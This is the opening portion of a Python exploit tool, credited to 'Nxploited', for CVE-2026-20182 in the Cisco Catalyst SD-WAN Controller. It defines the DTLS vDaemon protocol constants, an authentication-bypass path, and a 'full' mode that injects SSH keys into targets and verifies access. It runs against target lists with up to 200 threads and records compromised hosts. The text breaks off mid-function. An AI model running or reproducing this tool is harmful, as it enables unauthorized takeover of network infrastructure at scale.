1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
# By: Nxploited ( Khaled Alenazi )
# CVE-2026-20182 — Cisco Catalyst SD-WAN Co
from __future__ import annotations
import argparse
import base64
import ctypes
import json
import os
import random
import re
import select
import socket
import struct
import subprocess
import sys
import threading
import time
import uuid
import warnings
from dataclasses import dataclass, replace
from ctypes import (
c_char_p,
c_int,
c_long,
c_size_t,
c_ulong,
c_void_p,
create_string_buffer,
)
from datetime import datetime, timedelta, timezone
from pathlib import Path
from queue import Empty, Queue
from typing import Any, Dict, List, Optional, Set, Tuple
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, NoEncryption, PrivateFormat
from cryptography.x509.oid import NameOID
from rich import box
from rich.align import Align
from rich.console import Console, Group
from rich.live import Live
from rich.panel import Panel
from rich.progress import (
BarColumn,
Progress,
SpinnerColumn,
TaskProgressColumn,
TextColumn,
TimeElapsedColumn,
)
from rich.prompt import Confirm, Prompt
from rich.rule import Rule
from rich.table import Table
from rich.text import Text
from rich.theme import Theme
warnings.filterwarnings("ignore")
CVE_NAME = "CVE-2026-20182"
TARGET_PORT = 12346
VDaemon_DTLS_PORT = 12346
NETCONF_PORT = 830
SSH_STANDARD_PORT = 22
RESULTS_FILE = "cisco_sdwan_results.jsonl"
SUCCESS_FILE = "cisco_sdwan_success.txt"
FINDINGS_CONFIRMED_JSONL = "cisco_sdwan_01_confirmed_ssh.jsonl"
FINDINGS_INJECT_ACK_JSONL = "cisco_sdwan_02_inject_ack_only.jsonl"
FINDINGS_BYPASS_JSONL = "cisco_sdwan_03_bypass_only.jsonl"
FINDINGS_COMMANDS_TXT = "cisco_sdwan_commands.txt"
FINDINGS_SUMMARY_JSON = "cisco_sdwan_findings.json"
KEYS_DIR = "sdwan_keys"
TIER_CONFIRMED = "confirmed_ssh"
TIER_INJECT_ACK = "inject_ack_only"
TIER_BYPASS = "bypass_only"
TIER_LABELS = {
TIER_CONFIRMED: "Confirmed — SSH verified",
TIER_INJECT_ACK: "Partial — inject ACK only (SSH not verified)",
TIER_BYPASS: "Indicator — bypass/Hello only (no confirmed inject)",
}
MSG_HELLO = 0x05
MSG_CHALLENGE = 0x08
MSG_CHALLENGE_ACK = 0x09
MSG_CHALLENGE_ACK_ACK = 0x0A
MSG_TEAR_DOWN = 0x0B
MSG_REGISTER_TO_VMANAGE = 0x0D
MSG_VMANAGE_TO_PEER = 0x0E
DEV_VHUB = 2
HDR_FLAGS = 0xA0
TLV_UUID = 0x0006
TLV_INSTANCE_ID = 0x0013
TLV_MAX_INSTANCES = 0x0014
TLV_FLAG_18 = 0x0018
TLV_FLAG_19 = 0x0019
TLV_SERVER_KEY = 0x0032
TLV_NUM_VSMARTS = 0x0021
TLV_NUM_VMANAGES = 0x0022
MSG_NAMES = {
0: "NEW_CHALLENGE_ACK",
1: "Register",
5: "Hello",
7: "Data",
8: "CHALLENGE",
9: "CHALLENGE_ACK",
10: "CHALLENGE_ACK_ACK",
11: "TEAR_DOWN",
12: "DELETE_VSMARTS_SERIAL",
13: "REGISTER_TO_VMANAGE",
14: "VMANAGE_TO_PEER",
15: "submsg",
}
HANDSHAKE_TIMEOUT = 5.0
MAX_HANDSHAKE_RETRIES = 10
RECV_BUF_SIZE = 65536
DEFAULT_THREADS = 12
MAX_THREADS = 200
DEFAULT_DOMAIN_ID = 1
DEFAULT_SITE_ID = 100
FABRIC_FALLBACK_PRESETS: Tuple[Tuple[int, int], ...] = (
(1, 100),
(1, 1),
(0, 0),
)
SSL_VERIFY_NONE = 0
EVP_PKEY_RSA = 6
SSL_ERROR_WANT_READ = 2
SSL_ERROR_WANT_WRITE = 3
BIO_CTRL_PENDING = 10
DTLS_CTRL_HANDLE_TIMEOUT = 106
RUN_CFG: Dict[str, Any] = {
"default_domain_id": DEFAULT_DOMAIN_ID,
"default_site_id": DEFAULT_SITE_ID,
"fabric_fallback": True,
"verify_ssh": True,
"verify_ssh22": False,
"try_list_udp_ports": True,
"extra_udp_ports": (),
"verbose": False,
"inject_ssh": False,
"keys_dir": KEYS_DIR,
}
targets_queue: Queue["TargetSpec"] = Queue()
@dataclass(frozen=True)
class TargetSpec:
host: str
domain_id: int = DEFAULT_DOMAIN_ID
site_id: int = DEFAULT_SITE_ID
list_ports: Tuple[int, ...] = ()
web_tcp_hints: Tuple[int, ...] = ()
port: int = VDaemon_DTLS_PORT
def key(self) -> Tuple[str, int, int]:
return (self.host, self.domain_id, self.site_id)
def with_udp_port(self, udp_port: int) -> "TargetSpec":
return replace(self, port=udp_port)
def ports_to_try(self) -> Tuple[int, ...]:
out: List[int] = []
seen: Set[int] = set()
def add(p: int) -> None:
if 1 <= p <= 65535 and p not in seen:
seen.add(p)
out.append(p)
add(VDaemon_DTLS_PORT)
if RUN_CFG.get("try_list_udp_ports", True):
for p in sorted(self.list_ports):
add(p)
for p in RUN_CFG.get("extra_udp_ports", ()):
add(int(p))
return tuple(out)
def label(self) -> str:
lp = ",".join(str(p) for p in self.list_ports) if self.list_ports else "—"
wh = ",".join(str(p) for p in self.web_tcp_hints) if self.web_tcp_hints else "—"
return (
f"{self.host} UDP=[{','.join(map(str, self.ports_to_try()))}] "
f"web_TCP_hint=[{wh}] d={self.domain_id} s={self.site_id} list_UDP=[{lp}]"
)
def key_slug(self, dtls_port: Optional[int] = None) -> str:
host = self.host.replace(":", "_").replace(".", "_")
p = dtls_port if dtls_port is not None else self.port
return f"sdwan_{host}_{p}_d{self.domain_id}_s{self.site_id}.pem"
def merge_target_specs(a: TargetSpec, b: TargetSpec) -> TargetSpec:
ports = tuple(sorted(set(a.list_ports + b.list_ports)))
hints = tuple(sorted(set(a.web_tcp_hints + b.web_tcp_hints)))
return TargetSpec(
host=a.host,
domain_id=a.domain_id,
site_id=a.site_id,
list_ports=ports,
web_tcp_hints=hints,
)
stats = {
"total": 0,
"done": 0,
"success": 0,
"bypass_only": 0,
"inject_ack_only": 0,
"error": 0,
}
stats_lock = threading.Lock()
print_lock = threading.Lock()
findings_lock = threading.Lock()
_findings_seq = 0
_openssl_lock = threading.Lock()
_thread_local = threading.local()
AUTHOR_LINE = "By: Nxploited ( Khaled Alenazi )"
CVE_TITLE = "CVE-2026-20182 — Cisco Catalyst SD-WAN Controller"
BANNER_RAW = r"""
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ █████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗██╔═████╗███║██╔══██╗╚════██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ █████╗ █████╔╝██║██╔██║╚██║╚█████╔╝ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗╚════╝██╔═══╝ ████╔╝██║ ██║██╔══██╗██╔═══╝
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝ ███████╗╚██████╔╝ ██║╚█████╔╝███████╗
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚════╝ ╚══════╝
""".strip("\n")
BANNER_STYLES = ("banner.a", "banner.b", "banner.c", "banner.b", "banner.a", "banner.c")
theme = Theme(
{
"brand": "bold #e2e8f0",
"brand.dim": "#94a3b8",
"banner.a": "#7dd3fc",
"banner.b": "#a5b4fc",
"banner.c": "#c4b5fd",
"accent": "bold #67e8f9",
"ok": "#86efac",
"fail": "#fca5a5",
"warn": "#fdba74",
"info": "#93c5fd",
"muted": "#64748b",
"dim": "dim #475569",
"highlight": "italic #e9d5ff",
"card.title": "bold #cbd5e1",
"card.body": "#94a3b8",
"border": "#334155",
"glass": "#1e293b",
"menu.key": "bold #fbbf24",
"menu.label": "#e2e8f0",
"menu.value": "#7dd3fc",
"progress": "#38bdf8",
"progress.done": "#4ade80",
}
)
console = Console(theme=theme, force_terminal=True, color_system="truecolor", highlight=False)
def _term_width() -> int:
try:
return max(72, console.size.width or 100)
except Exception:
return 100
def _glass_panel(
content: Any,
title: str = "",
border: str = "border",
box_style: box.Box = box.ROUNDED,
) -> Panel:
return Panel(
content,
title=title,
border_style=border,
box=box_style,
padding=(0, 1),
expand=False,
)
def _banner_text(width: int) -> Text:
lines = [ln.rstrip() for ln in BANNER_RAW.splitlines() if ln.strip()]
if not lines:
return Text(CVE_TITLE, style="brand")
max_w = max(len(ln) for ln in lines)
out = Text()
if width < max_w + 6:
out.append("╔", style="banner.a")
out.append("═" * min(max_w, width - 10), style="banner.b")
out.append("╗\n", style="banner.a")
out.append("║ ", style="banner.a")
out.append("CVE-2026-20182", style="banner.c")
out.append(" · ", style="muted")
out.append("Cisco SD-WAN", style="banner.b")
pad = max(0, min(max_w, width - 10) - 28)
out.append(" " * pad, style="muted")
out.append(" ║\n", style="banner.a")
out.append("╚", style="banner.a")
out.append("═" * min(max_w, width - 10), style="banner.b")
out.append("╝", style="banner.a")
return out
for i, ln in enumerate(lines):
if width < len(ln) + 2:
ln = ln[: max(0, width - 3)] + "…"
if i:
out.append("\n")
out.append(ln, style=BANNER_STYLES[i % len(BANNER_STYLES)])
return out
def show_banner() -> None:
w = _term_width()
cred = Text()
cred.append(AUTHOR_LINE + "\n", style="brand")
cred.append(CVE_TITLE, style="brand.dim")
console.print(
_glass_panel(Align.center(cred), title="[card.title]◆[/card.title]", border="border", box_style=box.MINIMAL)
)
console.print(Rule(style="border"))
console.print(
_glass_panel(
Align.center(_banner_text(w)),
title="[card.title] OPERATIONS CONSOLE [/card.title]",
border="accent",
)
)
spec = Table.grid(padding=(0, 2))
spec.add_column(ratio=1)
spec.add_column(ratio=1)
left = Text()
left.append("DTLS exploit ", style="muted")
left.append(f"UDP/{VDaemon_DTLS_PORT}", style="accent")
left.append(" + explicit list ports\n", style="dim")
left.append("Web hints ", style="muted")
left.append("http(s) → TCP only (not UDP)\n", style="info")
left.append("Bypass path ", style="muted")
left.append("CHALLENGE_ACK vHub (9)\n", style="accent")
left.append("Default mode ", style="muted")
left.append("check", style="ok")
left.append(" · full = inject + SSH proof\n", style="dim")
right = Text()
right.append("SSH verify ", style="muted")
right.append(f"TCP/{NETCONF_PORT}", style="accent")
right.append(" (+ --verify-ssh22)\n", style="dim")
right.append("Real success ", style="muted")
right.append("ssh_verified only\n", style="ok")
right.append("Output ", style="muted")
right.append(f"{FINDINGS_SUMMARY_JSON}\n", style="highlight")
right.append(f"{FINDINGS_COMMANDS_TXT}\n", style="dim")
spec.add_row(left, right)
console.print(_glass_panel(spec, border="border"))
console.print()
def show_config_menu(args: argparse.Namespace) -> Dict[str, Any]:
cfg: Dict[str, Any] = {
"targets_file": args.file,
"threads": max(1, min(args.threads, MAX_THREADS)),
"default_domain_id": args.domain,
"default_site_id": args.site,
"inject_ssh": args.mode == "full",
"verbose": args.verbose,
"fabric_fallback": not args.no_fallback,
"verify_ssh": not args.no_ssh_verify,
"verify_ssh22": args.verify_ssh22,
"try_list_udp_ports": not args.no_try_list_udp,
"extra_udp_ports": _parse_extra_udp_ports(args.extra_udp_ports),
"keys_dir": KEYS_DIR,
}
def _menu_table() -> Table:
tbl = Table(
title="[card.title]Configuration Matrix[/card.title]",
box=box.ROUNDED,
border_style="border",
show_header=True,
header_style="card.title",
expand=True,
pad_edge=False,
)
tbl.add_column("#", style="menu.key", width=4, justify="center")
tbl.add_column("Parameter", style="menu.label", ratio=2)
tbl.add_column("Current value", style="menu.value", ratio=3)
ep = ",".join(map(str, cfg["extra_udp_ports"])) or "—"
rows = [
("1", "Targets file", str(cfg["targets_file"])),
("2", "Worker threads", str(cfg["threads"])),
("3", "Default DOMAIN_ID", str(cfg["default_domain_id"])),
("4", "Default SITE_ID", str(cfg["default_site_id"])),
("5", "Run mode", "full" if cfg["inject_ssh"] else "check"),
("6", "Fabric auto-retry", "on" if cfg["fabric_fallback"] else "off"),
("7", "Verbose protocol log", "on" if cfg["verbose"] else "off"),
("8", "SSH verify after inject", "on" if cfg["verify_ssh"] else "off"),
("9", "Also verify SSH :22", "on" if cfg["verify_ssh22"] else "off"),
("10", "Try explicit list UDP ports", "on" if cfg["try_list_udp_ports"] else "off"),
("11", "Extra UDP ports (lab)", ep),
("12", "Show targets format help", "guide"),
("0", "▶ LAUNCH SCAN", "START"),
]
for key, label, val in rows:
tbl.add_row(key, label, val)
return tbl
while True:
console.print()
console.print(_glass_panel(_menu_table(), border="accent"))
choice = Prompt.ask("[accent]▸[/accent] Select option", default="0").strip().lower()
if choice in ("0", "start", "go", "run", ""):
break
if choice == "1":
cfg["targets_file"] = Prompt.ask("Targets file", default=str(cfg["targets_file"]))
elif choice == "2":
raw = Prompt.ask("Threads", default=str(cfg["threads"]))
try:
cfg["threads"] = max(1, min(int(raw), MAX_THREADS))
except ValueError:
pass
elif choice == "3":
raw = Prompt.ask("DOMAIN_ID", default=str(cfg["default_domain_id"]))
try:
cfg["default_domain_id"] = int(raw)
except ValueError:
pass
elif choice == "4":
raw = Prompt.ask("SITE_ID", default=str(cfg["default_site_id"]))
try:
cfg["default_site_id"] = int(raw)
except ValueError:
pass
elif choice == "5":
m = Prompt.ask("Mode (check/full)", default="check" if not cfg["inject_ssh"] else "full")
cfg["inject_ssh"] = m.strip().lower() == "full"
elif choice == "6":
cfg["fabric_fallback"] = Confirm.ask("Fabric auto-retry on TEAR_DOWN?", default=cfg["fabric_fallback"])
elif choice == "7":
cfg["verbose"] = Confirm.ask("Verbose TX/RX?", default=cfg["verbose"])
elif choice == "8":
cfg["verify_ssh"] = Confirm.ask("Verify SSH after inject?", default=cfg["verify_ssh"])
elif choice == "9":
cfg["verify_ssh22"] = Confirm.ask("Also try TCP/22?", default=cfg["verify_ssh22"])
elif choice == "10":
cfg["try_list_udp_ports"] = Confirm.ask("Try explicit :port from list as UDP?", default=cfg["try_list_udp_ports"])
elif choice == "11":
ep_default = ",".join(map(str, cfg["extra_udp_ports"]))
raw = Prompt.ask("Extra UDP ports (comma)", default=ep_default)
cfg["extra_udp_ports"] = _parse_extra_udp_ports(raw)
elif choice == "12":
show_setup_guide()
else:
console.print("[warn]Unknown option[/warn]")
return cfg
def safe_print(renderable: Any) -> None:
with print_lock:
console.print(renderable)
def vlog(msg: str) -> None:
if RUN_CFG.get("verbose"):
safe_print(f"[dim] {msg}[/dim]")
def append_jsonl(record: Dict[str, Any]) -> None:
try:
with open(RESULTS_FILE, "a", encoding="utf-8") as f:
f.write(json.dumps(record, ensure_ascii=False) + "\n")
except OSError:
pass
def append_success(line: str) -> None:
try:
with open(SUCCESS_FILE, "a", encoding="utf-8") as f:
f.write(line.rstrip() + "\n")
except OSError:
pass
def _suggest_ssh_cmd(result: Dict[str, Any]) -> Optional[str]:
if result.get("connection_cmd"):
return str(result["connection_cmd"])
host = result.get("target") or result.get("host")
|
